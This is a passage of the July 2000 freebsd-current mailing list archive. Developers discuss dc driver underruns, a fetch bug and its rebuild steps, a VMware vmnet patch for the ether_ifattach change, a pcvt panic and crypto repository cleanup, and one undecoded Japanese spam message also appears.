I know for a fact > >>>that nothing I've ever done would or could be affected by extra latencies > >>>that are as small as the ones we are discussing. Does anybody at all > >>>depend on the start-transmitting-before-DMA-completed feature we are > >>>discussing? > >> > >> I don't like the idea of removing that feature. Perhaps it should be a > >> sysctl or ifconfig option, but it should definitely remain available. > >> Those minute latencies are critical to those of us who use MPI for > >> complex parallel calculations. > > > >I have to agree here. The store and forward adds an approximate > >11uS (by theory under ideal conditions 1500bytes@132MB/s = 11uS, > >practice actually makes this worse as typical PCI does something > >less than 100MB/s or 15uS) to a 120uS packet time on the wire (again, > >ideal, but here given that switches, and infact often cut-through > >switches, are used for these types of things, ideal and practice > >are very close.) > > > >I don't think these folks, nor myself, are wanting^H^H^H^H^H^H^Hilling > >to give up 12.5%. > > OK. It seems that repairing the feature, rather than disabling it is > the most popular option. Still, I am quite interested in finding anyone > who actually measures these things, and is affected by them. These very > same people might be able to trace why we get the underruns in the first > place. I suspect an interaction between the ATA driver and VIA chipsets, > because other than the network, that's all that is operating when I see > the underruns. And my Celeron with a ZX chipset is immune. That theory is not correct, I have seen multiple Alpha machines reporting buffer underruns as well. No ATA disk in sight there.. -- Wilko Bulte http://www.freebsd.org "Do, or do not. There is no try" wilko@freebsd.org http://www.nlfug.nl Yoda - The Empire Strikes Back To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 0:18:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from sensyu.ne.jp (mail.sensyu.ne.jp [210.154.132.31]) by hub.freebsd.org (Postfix) with ESMTP id 6CE5937C657 for ; Fri, 14 Jul 2000 00:18:09 -0700 (PDT) (envelope-from fuji@sensyu.ne.jp) Received: from mail.sensyu.ne.jp (localhost [127.0.0.1]) by sensyu.ne.jp (8.9.3/3.7Wpl2-00061407) with SMTP id QAA29245 for ; Fri, 14 Jul 2000 16:15:33 +0900 (JST) Date: Fri, 14 Jul 2000 16:15:33 +0900 (JST) Message-Id: <200007140715.QAA29245@sensyu.ne.jp> From: =?iso-2022-jp?B?ZnV1eWFu?= To: =?iso-2022-jp?B?ZnJlZWJzZC1jdXJyZW50QGZyZWVic2Qub3Jn?= Subject: =?iso-2022-jp?B?GyRCOkc9aSRHOkc4ZSROPnBKc0RzNiEhKhsoQg==?= Mime-Version: 1.0 Content-Type: text/plain; charset= "ISO-2022-JP" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG $B$3$N%a!=%k$N%"%I%l%9$O<}=86He$2$^$9!#(B $B;d$O2<5-#3E@$N%S%8%M%9$GKh7n(B40$B!A(B85$BK|$N<}F~$,$"$j$^$9!#(B $B!J3+;O8e#3%v7nL\0L$G!"K\?&$N<}F~$OF~$l$:!*!K(B $B!c!cI,8+!*9bB.9b<}F~>pJs!*!*!d!d(B $B%"%a%j%+$rH/>MCO$H$7$?6<0RE*$J9b<}F~:_Bp%S%8%M%9$G$9!*(B $B:#7n$K$J$C$F;22Ce$N<}F~$rF@(B $B$F$$$^$9!*(B $B:n6HFbMF$b4JC1$G$9!#@kEA$9$k$@$1!*K\Ev$K6u$$$F$k;~4V$G$G$-$^$9!#(B $BL5NA@kEA>l=j>pJs$bL5NA$GDs6!$7$^$9!*(B $BL5NAEj9F%a%k%^%,%5%$%H(B100$B0J>e!"4uK>\:Y@bL@$7$F$$$^$9!*(B 7/17$B%5!<%S%93+;O!*$G$9$N$G(B $B8=:_EPO?u$OF|$K(B80$B$[$IEPO??t== Reply-To: mjacob@feral.com To: wilko@FreeBSD.ORG Cc: Stephen McKay , "Rodney W. Grimes" , "Brandon D. Valentine" , Stefan Esser , Bill Paul , freebsd-current@FreeBSD.ORG Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) In-Reply-To: <20000714084639.B1926@freebie.demon.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > That theory is not correct, I have seen multiple Alpha machines reporting > buffer underruns as well. No ATA disk in sight there.. This has been a reported feature of the tulip chip and alphas (de driver usually) forever forever forever. It's not a bug, per se, IMO. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 0:49:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id 93E5E37BFD8; Fri, 14 Jul 2000 00:49:37 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id RAA09053; Fri, 14 Jul 2000 17:19:35 +0930 (CST) (envelope-from grog) Date: Fri, 14 Jul 2000 17:19:35 +0930 From: Greg Lehey To: des@FreeBSD.org, FreeBSD current users Subject: fetch appears to be broken Message-ID: <20000714171935.G30012@wantadilla.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Since my last buildworld, fetch no longer works properly: $ fetch http://www.bom.gov.au/cgi-bin/wrap_fwo.pl?IDS10034.txt Receiving wrap_fwo.pl?IDS10034.txt -1 bytes transferred in 0.7 seconds (-1.47 Bps) It would be nice to have an error message here, not to mention a more accurate bottom line, but in fact there doesn't seem to be anything wrong with the site: $ ftp http://www.bom.gov.au/cgi-bin/wrap_fwo.pl?IDS10034.txt Requesting http://www.bom.gov.au/cgi-bin/wrap_fwo.pl?IDS10034.txt Successfully retrieved file. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 1:11:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns1.sunesi.net (ns1.sunesi.net [196.15.192.194]) by hub.freebsd.org (Postfix) with ESMTP id 0F85B37B63D for ; Fri, 14 Jul 2000 01:11:30 -0700 (PDT) (envelope-from nbm@sunesi.net) Received: from nbm by ns1.sunesi.net with local (Exim 3.03 #1) id 13D0Z9-000G5G-00; Fri, 14 Jul 2000 10:11:23 +0200 Date: Fri, 14 Jul 2000 10:11:23 +0200 From: Neil Blakey-Milner To: "Yevmenkin, Maksim N, CSCIO" Cc: "'freebsd-current@freebsd.org'" Subject: Re: kerneld for -current Message-ID: <20000714101122.A61787@mithrandr.moria.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from myevmenkin@att.com on Thu, Jul 13, 2000 at 01:46:49PM -0400 Organization: Sunesi Clinical Systems X-Operating-System: FreeBSD 3.3-RELEASE i386 X-URL: http://rucus.ru.ac.za/~nbm/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu 2000-07-13 (13:46), Yevmenkin, Maksim N, CSCIO wrote: > long time back there was a discussion about kerneld for FreeBSD. > some people have found it useless, but some not :) > > anyway, alpha version of code can be found at sourceforge.net. > > http://sourceforge.net/projects/kerneld/ > > changes: > > - minor bug fixes > - kd device improvements (now support select) > - kerneld now has access control list > to accept/deny request from users/group > (thanks to Someone from the list for the idea, > sorry don't remember The Name :) What, exactly, does it do? Can you write a quick blurb about it, so we can see what the features are, what it buys us, why we want it, and things like that? Neil -- Neil Blakey-Milner Sunesi Clinical Systems nbm@mithrandr.moria.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 1:54: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 751F237BAD3 for ; Fri, 14 Jul 2000 01:54:04 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id KAA96091; Fri, 14 Jul 2000 10:53:45 +0200 (CEST) (envelope-from des@flood.ping.uio.no) To: Greg Lehey Cc: FreeBSD current users Subject: Re: fetch appears to be broken References: <20000714171935.G30012@wantadilla.lemis.com> From: Dag-Erling Smorgrav Date: 14 Jul 2000 10:53:42 +0200 In-Reply-To: Greg Lehey's message of "Fri, 14 Jul 2000 17:19:35 +0930" Message-ID: Lines: 13 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey writes: > Since my last buildworld, fetch no longer works properly: > > $ fetch http://www.bom.gov.au/cgi-bin/wrap_fwo.pl?IDS10034.txt > Receiving wrap_fwo.pl?IDS10034.txt > -1 bytes transferred in 0.7 seconds (-1.47 Bps) Looks like stale sources. The -1 bug was fixed a few days ago. It's purely cosmetic, BTW; the file whould be there all right. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 1:57:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id B22EA37C0DF for ; Fri, 14 Jul 2000 01:57:15 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id SAA37101; Fri, 14 Jul 2000 18:26:57 +0930 (CST) (envelope-from grog) Date: Fri, 14 Jul 2000 18:26:57 +0930 From: Greg Lehey To: Dag-Erling Smorgrav Cc: FreeBSD current users Subject: Re: fetch appears to be broken Message-ID: <20000714182657.I30012@wantadilla.lemis.com> References: <20000714171935.G30012@wantadilla.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, 14 July 2000 at 10:53:42 +0200, Dag-Erling Smorgrav wrote: > Greg Lehey writes: >> Since my last buildworld, fetch no longer works properly: >> >> $ fetch http://www.bom.gov.au/cgi-bin/wrap_fwo.pl?IDS10034.txt >> Receiving wrap_fwo.pl?IDS10034.txt >> -1 bytes transferred in 0.7 seconds (-1.47 Bps) > > Looks like stale sources. The -1 bug was fixed a few days ago. Well, this was a buildworld of 10 July. I haven't updated since then because the kernel keeps crashing. > It's purely cosmetic, BTW; the file whould be there all right. That's not what the embedded script found. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 2: 3:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id A634037BFF7 for ; Fri, 14 Jul 2000 02:03:24 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id LAA97019; Fri, 14 Jul 2000 11:03:15 +0200 (CEST) (envelope-from des@flood.ping.uio.no) To: Greg Lehey Cc: FreeBSD current users Subject: Re: fetch appears to be broken References: <20000714171935.G30012@wantadilla.lemis.com> <20000714182657.I30012@wantadilla.lemis.com> From: Dag-Erling Smorgrav Date: 14 Jul 2000 11:03:15 +0200 In-Reply-To: Greg Lehey's message of "Fri, 14 Jul 2000 18:26:57 +0930" Message-ID: Lines: 20 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey writes: > On Friday, 14 July 2000 at 10:53:42 +0200, Dag-Erling Smorgrav wrote: > > Looks like stale sources. The -1 bug was fixed a few days ago. > Well, this was a buildworld of 10 July. I haven't updated since then > because the kernel keeps crashing. Update libfetch and fetch and try again. If you're still having trouble, rebuild libfetch with debugging enabled, run fetch -vvv and mail me the output. # cd /usr/src # cvs update -A lib/libfetch usr.bin/fetch # cd lib/libfetch # make clean && make depend && make -DDEBUG && make install # cd ../../usr.bin/fetch # make && make install DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 4:23:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from hcshh.hcs.de (hcshh.hcs.de [194.123.40.1]) by hub.freebsd.org (Postfix) with SMTP id 7B29037C6F5 for ; Fri, 14 Jul 2000 04:23:00 -0700 (PDT) (envelope-from hm@hcs.de) Received: from hcswork.hcs.de([192.76.124.5]) (1755 bytes) by hcshh.hcs.de via sendmail with P:smtp/R:inet_hosts/T:smtp (sender: ) id for ; Fri, 14 Jul 2000 13:22:58 +0200 (CEST) (Smail-3.2.0.104 1998-Nov-20 #1 built 1998-Dec-11) Received: by hcswork.hcs.de (Postfix, from userid 200) id 2B700483B; Fri, 14 Jul 2000 13:22:54 +0200 (METDST) Subject: Re: config/hints changes: panic booting pcvt kernel In-Reply-To: <200007140448.VAA59078@vashon.polstra.com> from John Polstra at "Jul 13, 0 09:48:06 pm" To: jdp@polstra.com (John Polstra) Date: Fri, 14 Jul 2000 13:22:54 +0200 (METDST) Cc: hm@hcs.de, current@freebsd.org Reply-To: hm@hcs.de Organization: HCS Hanseatischer Computerservice GmbH X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 869 Message-Id: <20000714112254.2B700483B@hcswork.hcs.de> From: hm@hcs.de (Hellmuth Michaelis) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From the keyboard of John Polstra: > > i added a printf statement to the beginning of every subroutine in > > file /sys/dev/kbd/kbd.c and with this additions the panic disappears > > and pcvt runs fine as ever. > > > > Removing the printf's from kbd.c shows the usual described panic. > > > > I'm now completely out of ideas .... > > It sounds like maybe an uninitialized local variable in one of the > functions. This should cause a warning from the compiler, shouldn't it ? All the files in question compile without any warning at all. hellmuth -- Hellmuth Michaelis Tel +49 40 55 97 47-70 HCS Hanseatischer Computerservice GmbH Fax +49 40 55 97 47-77 Oldesloer Strasse 97-99 Mail hm [at] hcs.de D-22457 Hamburg WWW http://www.hcs.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 4:31: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from kbtfw.kubota.co.jp (kbtfw.kubota.co.jp [133.253.102.202]) by hub.freebsd.org (Postfix) with ESMTP id 1DC2A37C648; Fri, 14 Jul 2000 04:30:52 -0700 (PDT) (envelope-from haro@tk.kubota.co.jp) Received: by kbtfw.kubota.co.jp; id UAA25576; Fri, 14 Jul 2000 20:30:50 +0900 (JST) Received: from unknown(133.253.122.1) by kbtfw.kubota.co.jp via smap (V4.2) id xma025527; Fri, 14 Jul 00 20:30:26 +0900 Received: from jkpc15.tk.kubota.co.jp ([192.168.7.250]) by kbtmx.eto.kubota.co.jp (8.9.3+3.2W/3.7W) with ESMTP id UAA10428; Fri, 14 Jul 2000 20:30:25 +0900 (JST) Received: from localhost (localhost.ttr.kubota.co.jp [127.0.0.1]) by jkpc15.tk.kubota.co.jp (8.9.3/3.7W-02/21/99) with ESMTP id UAA01155; Fri, 14 Jul 2000 20:28:39 +0900 (JST) To: Archie Cobbs Cc: freebsd-current@freebsd.org, freebsd-ports@freebsd.org Subject: ether_ifattach() change and VMware X-Mailer: Mew version 1.94.1 on Emacs 20.6 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000714202839P.haro@tk.kubota.co.jp> Date: Fri, 14 Jul 2000 20:28:39 +0900 From: haro@tk.kubota.co.jp (Munehiro Matsuda) X-Dispatcher: imput version 990905(IM130) Lines: 48 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Date: Thu, 13 Jul 2000 15:54:35 -0700 (PDT) From: Archie Cobbs :: ::archie 2000/07/13 15:54:35 PDT :: :: Modified files: :: Log: :: Make all Ethernet drivers attach using ether_ifattach() and detach using :: ether_ifdetach(). :: :: The former consolidates the operations of if_attach(), ng_ether_attach(), :: and bpfattach(). The latter consolidates the corresponding detach operations. :: :: Reviewed by: julian, freebsd-net Hello, After the commit, VMware seems to hang the system at boot time. The "vmnet" module, that comes with VMware, needs the included patch. Shouldn't we bump version or something, due to the kernel API change? ---8<------8<------8<-- patch for VMware --8<------8<------8<------8<--- --- vmnet-only/freebsd/vmnet.c.org Fri Jul 14 16:18:50 2000 +++ vmnet-only/freebsd/vmnet.c Fri Jul 14 16:21:51 2000 @@ -156,9 +156,7 @@ DLog(Linfo, DEVICE_NAME "%d: Ethernet address: %6D", ifp->if_unit, sc->iface.arpcom.ac_enaddr, ":"); s = splimp(); - if_attach(ifp); - ether_ifattach(ifp); - bpfattach(ifp, DLT_EN10MB, sizeof(struct ether_header)); + ether_ifattach(ifp, ETHER_BPF_SUPPORTED); splx(s); return 0; ---8<------8<------8<------8<------8<------8<------8<------8<------8<--- Thank you, Haro =------------------------------------------------------------------------------ _ _ Munehiro (haro) Matsuda -|- /_\ |_|_| Business Incubation Dept., Kubota Corp. /|\ |_| |_|_| 1-3 Nihonbashi-Muromachi 3-Chome Chuo-ku Tokyo 103-8310, Japan Tel: +81-3-3245-3318 Fax: +81-3-3245-3315 Email: haro@kubota.co.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 4:40:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from emma.eng.uct.ac.za (emma.eng.uct.ac.za [137.158.128.160]) by hub.freebsd.org (Postfix) with ESMTP id 14BC637C63F for ; Fri, 14 Jul 2000 04:40:46 -0700 (PDT) (envelope-from shaun@eng.uct.ac.za) Received: (from shaun@localhost) by emma.eng.uct.ac.za (8.9.3/8.9.3) id NAA04990 for freebsd-current@freebsd.org; Fri, 14 Jul 2000 13:40:41 +0200 (SAST) (envelope-from shaun) Date: Fri, 14 Jul 2000 13:40:41 +0200 From: Shaun Courtney To: freebsd-current@freebsd.org Subject: ports/fetch problem on Current Message-ID: <20000714134041.A4852@emma.eng.uct.ac.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I'm having two problems on current (5.0-CURRENT FreeBSD 5.0-CURRENT #6: Fri Jul 7 20:04:56 SAST 2000 for kernel, binaries Jul 13, libfetch and fetch 14 Jul) with the ports. One: fetch never stops! For example: su-2.03# make >> GnuPG-Interface-0.09.tar.gz doesn't seem to exist on this system. >> Attempting to fetch from ftp://ftp.digital.com/pub/plan/perl/CPAN/modules/by-module/GnuPG/. 65755 bytes transferred in 591.1 seconds (111.24 Bps) >> Attempting to fetch from ftp://ftp.cpan.org/CPAN/modules/by-module/GnuPG/. 65755 bytes transferred in 42.5 seconds (1.51 kBps) >> Attempting to fetch from ftp://ftp.freesoftware.com/pub/perl/CPAN/modules/by-module/GnuPG/. 65755 bytes transferred in 18.4 seconds (3.50 kBps) >> Attempting to fetch from ftp://ftp.sourceforge.net/pub/mirrors/CPAN/modules/by-module/GnuPG/. Basically what happens it that for each master site listed in the Makefile a fetch is done. Secondly: if I do a "make" in a port and then ^c to abort the fetch continues... (I do this because in Africa overseas sites can be very slow - so I do an archie on local sites to pull source from something closer...) Okay so I kill the fetch - it just moves to the next site listed - now for apache13 that is about 15 sites... I notice that 9059 p0 S 0:00.00 /bin/sh -ec (cd /usr/ports/distfiles/; for file in a 9060 p0 S 0:00.01 /bin/sh -ec (cd /usr/ports/distfiles/; for file in A runs for each make in a port directory. My /etc/make.conf is: USA_RESIDENT=NO NO_SENDMAIL= true # do not build sendmail and related programs Can anyone suggest a fix or workaround. This does not occur on my 3.5-STABLE and 4.0-STABLE boxes. Thanks Shaun -- Faculty of Engineering and the Built Environment Information Technology Manager 0 828 228822 / 650 2800 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 4:57:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 20EB937C6E0 for ; Fri, 14 Jul 2000 04:57:40 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13D451-000GzK-00; Fri, 14 Jul 2000 13:56:31 +0200 From: Sheldon Hearn To: Warner Losh Cc: Mark Murray , John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-reply-to: Your message of "Thu, 13 Jul 2000 19:19:48 +0200." <200007131719.TAA01505@grimreaper.grondar.za> Date: Fri, 14 Jul 2000 13:56:31 +0200 Message-ID: <65305.963575791@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 13 Jul 2000 19:19:48 +0200, Mark Murray wrote: > > 20000711: > > If you used to get your crypto files from internat, AND you > > used cvsup to get cvs' ,v files, then the latest changes > > to the source collections will impact you. You will need to > > remove all the crypto files and start over. Warner, Mark says that this applies if you used CTM to get cvs's ,v files, not CTM. Also, he clarified the last sentence for me, by saying that it's the crypto ,v files that need to be removed and not the checked out crypto files. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 5:37:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id 39BE637B514 for ; Fri, 14 Jul 2000 05:37:19 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: from shell-1.enteract.com (dscheidt@shell-1.enteract.com [207.229.143.40]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id HAA57828; Fri, 14 Jul 2000 07:36:38 -0500 (CDT) (envelope-from dscheidt@enteract.com) Date: Fri, 14 Jul 2000 07:36:38 -0500 (CDT) From: David Scheidt To: Sheldon Hearn Cc: Warner Losh , Mark Murray , John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: <65305.963575791@axl.ops.uunet.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 14 Jul 2000, Sheldon Hearn wrote: : : :On Thu, 13 Jul 2000 19:19:48 +0200, Mark Murray wrote: : :> > 20000711: :> > If you used to get your crypto files from internat, AND you :> > used cvsup to get cvs' ,v files, then the latest changes :> > to the source collections will impact you. You will need to :> > remove all the crypto files and start over. : :Warner, Mark says that this applies if you used CTM to get cvs's ,v :files, not CTM. Also, he clarified the last sentence for me, by saying Should this read "used CTM ... not CVS" or "used CVS ... not CTM"? DAvid To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 5:43:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 7BAC437BEFB for ; Fri, 14 Jul 2000 05:43:18 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13D4nX-000HLH-00; Fri, 14 Jul 2000 14:42:31 +0200 From: Sheldon Hearn To: David Scheidt Cc: Warner Losh , Mark Murray , John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-reply-to: Your message of "Fri, 14 Jul 2000 07:36:38 EST." Date: Fri, 14 Jul 2000 14:42:31 +0200 Message-ID: <66666.963578551@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 14 Jul 2000 07:36:38 EST, David Scheidt wrote: > :Warner, Mark says that this applies if you used CTM to get cvs's ,v > :files, not CTM. Also, he clarified the last sentence for me, by saying > > Should this read "used CTM ... not CVS" or "used CVS ... not CTM"? Argh, what is it about this one? :-) That should have read: Warner, Mark says that this applies if you used CTM and not CVSup to get cvs's ,v files. Sorry, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 6: 9: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from hurricane.columbus.rr.com (m5.columbus.rr.com [204.210.252.249]) by hub.freebsd.org (Postfix) with ESMTP id 0592237C31D; Fri, 14 Jul 2000 06:08:58 -0700 (PDT) (envelope-from caa@columbus.rr.com) Received: from blizzard.columbus.rr.com ([204.210.252.252]) by hurricane.columbus.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-53939U80000L80000S0V35) with ESMTP id com; Fri, 14 Jul 2000 09:09:21 -0400 Received: from columbus.rr.com (dhcp9559163.columbus.rr.com [24.95.59.163]) by blizzard.columbus.rr.com (8.9.3/8.9.3) with ESMTP id JAA05371; Fri, 14 Jul 2000 09:08:02 -0400 (EDT) Received: (from caa@localhost) by columbus.rr.com (8.9.3/8.9.3) id JAA02414; Fri, 14 Jul 2000 09:09:32 GMT (envelope-from caa) Date: Fri, 14 Jul 2000 09:09:32 +0000 From: Charles Anderson To: Brian Somers Cc: current@FreeBSD.ORG, John Polstra , Mark Murray , Warner Losh Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! Message-ID: <20000714090932.B2219@midgard.dhs.org> References: <200007121405.PAA11870@hak.lan.Awfulhak.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200007121405.PAA11870@hak.lan.Awfulhak.org>; from brian@Awfulhak.org on Wed, Jul 12, 2000 at 03:05:25PM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How can I tell if I need to nuke my crypto files? Sounds like I should have this problem but it doen't look like I do. I looked through the commits for the past few days searching for crypto, and I have all of the files that were commited. (secure/lib/libcrypto/Makefile & Makefile.inc from earlier today & crypto/openssh/ readconf.c, servconf.c, ssh_config, sshd.8, & /telnet/libtelnet/auth.c from 7/11/00) thanks, -Charlie On Wed, Jul 12, 2000 at 03:05:25PM +0100, Brian Somers wrote: > I haven't looked into it too deeply yet because of other source tree > problems, but if you used to get your crypto ,v files from internat, > you will suffer some funny problems unless you nuke the old checked-out > files. > > My apologies if this is old news, but I see nothing in UPDATING. > > The problem occurs when you cvsup the new crypto-in-src-all sources > and replace RCS files with different contents and the same version > number. cvs update/checkout compares the repo version number against > the checked out version number and considers the file an ``M'' > (modified source). The file isn't updated and your world gets > corrupted. > > This is probably a candidate for UPDATING. > -- > Brian > > Don't _EVER_ lose your sense of humour ! > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- Charles Anderson caa@columbus.rr.com No quote, no nothin' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 6:15:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.ruhr.de (in-ruhr2.ruhr.de [141.39.224.60]) by hub.freebsd.org (Postfix) with SMTP id 2F82B37C644 for ; Fri, 14 Jul 2000 06:15:43 -0700 (PDT) (envelope-from ue@nathan.ruhr.de) Received: (qmail 31016 invoked by alias); 14 Jul 2000 13:16:25 -0000 Received: (from ue@localhost) by nathan.ruhr.de (8.9.3/8.9.3) id OAA06847 for current@FreeBSD.ORG; Fri, 14 Jul 2000 14:51:46 +0200 (CEST) (envelope-from ue) Date: Fri, 14 Jul 2000 14:51:45 +0200 From: Udo Erdelhoff To: current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! Message-ID: <20000714145145.H265@nathan.ruhr.de> References: <200007131719.TAA01505@grimreaper.grondar.za> <65305.963575791@axl.ops.uunet.co.za> Mime-Version: 1.0 Content-Type: 